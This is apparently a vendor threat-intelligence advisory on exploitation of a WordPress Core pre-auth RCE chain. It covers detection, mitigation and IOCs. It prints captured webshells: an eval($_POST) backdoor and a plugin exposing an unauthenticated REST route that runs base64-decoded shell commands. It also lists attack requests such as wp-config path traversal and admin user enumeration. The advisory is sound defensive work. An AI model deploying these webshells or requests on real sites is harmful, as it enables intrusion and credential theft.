Exploitation in the Wild of wp2shell

Wiz Research has identified exploitation of "wp2shell", a critical pre-auth RCE vulnerability chain impacting WordPress Core (CVE-2026-63030 & CVE-2026-60137). Attackers are deploying persistent webshells on vulnerable servers. Organizations should prioritize patching or applying WAF mitigations.

What are CVE-2026-63030 & CVE-2026-60137?

These vulnerabilities comprise a critical pre-authentication remote code execution (RCE) chain in WordPress Core, dubbed "wp2shell", discovered by Searchlight Cyber using OpenAI GPT 5.6 Sol, and published on July 17th, 2026. This exploit chain allows unauthenticated attackers to gain remote code execution on default WordPress installations in any WordPress version released since December 2025.

What’s the risk to cloud environments?

Our data indicates that 60% of organizations using WordPress initially had at least one vulnerable instance at the time these CVEs were published, and 25% were exposing a vulnerable server to the Internet. However, this figure is rapidly declining as organizations patch, lowering to 50% and 10% respectively within 24 hours of the initial publication.

What evidence of exploitation has Wiz Research identified?

Almost immediately following the vulnerability chain’s publication, many exploit POCs were made available by security researchers, most of which were limited to SQL injection on default WordPress configurations while allowing RCE under specific conditions. However, later POCs achieved RCE against arbitrary targets.

So far we’ve observed multiple actors successfully exploiting this vulnerability chain against WordPress instances self-hosted in the cloud. Following successful batch API exploitation, we’ve observed the following post-exploitation activities:

  • Malicious plugin upload - Attackers accessed /wp-admin/plugin-install.php?tab=upload and successfully executed POST /wp-admin/update.php?action=upload-plugin, to install persistent backdoors.

  • User enumeration - Attackers sent requests to /wp-json/wp/v2/users?context=edit to harvest admin usernames and email addresses.

  • Local file inclusion attempts - Attackers performed LFI attacks via admin-ajax.php?template=../../../wp-config, targeting database credentials and authentication keys for exfiltration.

  • Admin panel access - Attackers accessed /wp-admin/ and received HTTP 200 responses indicating successful authenticated sessions.

We’ve also observed high-volume scanning activity without subsequent post-exploitation, suggesting opportunistic mass-scanning campaigns seeking to identify vulnerable targets alongside legitimate security scanning activity. We have yet to identify lateral movement or data exfiltration, but we continue to monitor and investigate.

In terms of deployed malware, among our findings were two PHP webshells that represent opposite ends of the sophistication spectrum. The first was a minimal one-liner:

<?php
eval($_POST['[REDACTED]']??'http_response_code(404);');

This is a bare-bones backdoor that provides remote code execution to anyone that knows the parameter name, and returns 404 as an evasion technique. We regularly see these types of webshells deployed following most new RCE vulnerabilities; they are one of the most common types of findings when investigating mass exploitation of an emerging vulnerability.

The second was a massive 150KB webshell disguised as a WordPress plugin called "CMSmap". The original legitimate plugin is a simple security tool, but this sample included a full-featured attack platform with a graphical interface, password authentication, and a broad set of capabilities including file management, database access, port scanning, batch code injection, and multiple privilege escalation modules including MySQL UDF exploitation.

The payload is obfuscated through hex-encoded string concatenation and gzip-compressed base64 encoding, unpacked at runtime via eval(gzuncompress(base64_decode(...))).

The internal payload very closely matches a known PHP webshell with modified variables such as shellname and password.

A third malicious WordPress plugin we observed was also a PHP webshell. By registering a custom REST API endpoint (/morning/v1/[REDACTED]) with a permissive callback (__return_true), it allows attackers to send POST requests containing a base64-encoded command in the parameter. The plugin decodes and executes this command on the underlying server, capturing the output to return in a JSON response, effectively granting the attacker full command-level access:

<?php
/* Plugin Name: gg-[REDACTED] */
add_action('rest_api_init', function () {
    register_rest_route('morning/v1', '/[REDACTED]', array(
        'methods' => 'POST',
        'permission_callback' => '__return_true',
        'callback' => function ($request) {
            ob_start();
            passthru(base64_decode($request->get_param('c')) . ' 2>&1');
            $output = ob_get_clean();
            require_once ABSPATH . 'wp-admin/includes/plugin.php';
            return new WP_REST_Response(array(
                'marker' => '[REDACTED]',
                'output' => $output,
            ));
        },
    ));
});

How can WordPress users detect exploitation?

The vulnerability abuses the WordPress REST API batch processing endpoints (/?rest_route=/batch/v1 or /wp-json/batch/v1) to achieve unauthenticated code execution. From a detection standpoint, HTTP 207/200 Multi-Status responses to batch endpoint requests have proven to be a relatively high-fidelity indicator of successful exploitation (as observed by Hexastrike as well), while user agent strings containing wp2shell and rezwp2shell have also served as reliable tool signatures identifying purpose-built exploitation frameworks.

Which products are affected?

CVE-2026-63030 & CVE-2026-60137 (Full RCE Exploit Chain):

  • WordPress Core versions 6.9.0 through 6.9.4

  • WordPress Core versions 7.0.0 through 7.0.1

CVE-2026-60137 (SQLi):

  • WordPress Core versions 6.8.0 through 6.8.5

What actions should security teams take?

  1. Update WordPress to the vendor-fixed release.

  2. As a temporary mitigation, organizations that cannot immediately update can restrict anonymous access to the WordPress Batch API by blocking the /wp-json/batch/v1 endpoint (or ?rest_route=/batch/v1) at a web application firewall (WAF), or by disabling anonymous REST API access using a plugin.

How can Wiz help?

Wiz customers should refer to the pre-built advisory in the Wiz Threat Intel Center for actionable steps to investigate, remediate, and harden their environments. Wiz Research will continue to update that advisory as the situation develops.

Indicators of Compromise (IOCs)

IndicatorDescription
2a1410d8e2a8337ac2171cedea8c0fdc47c647a0PHP Webshell
58eca847e9eae9e6b08cc211f1559817b71bc4ccPHP Webshell
ebea44890f434d5d67ede22009a3f4bb5cac33f8PHP Webshell
d9a220c8039f1c4d72cae7ccb8b3a33dec8815bePHP Webshell
e9756e2338f84746007235e4cab7a70d5b3ca47fPHP Webshell
45.79.167[.]238IP address used for exploitation
34.81.132[.]62IP address used for exploitation
79.177.131[.]206IP address used for exploitation
15.157.135[.]170IP address used for exploitation
94.100.52[.]128IP address used for exploitation
172.235.128[.]52IP address used for mass scanning

Continue reading

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management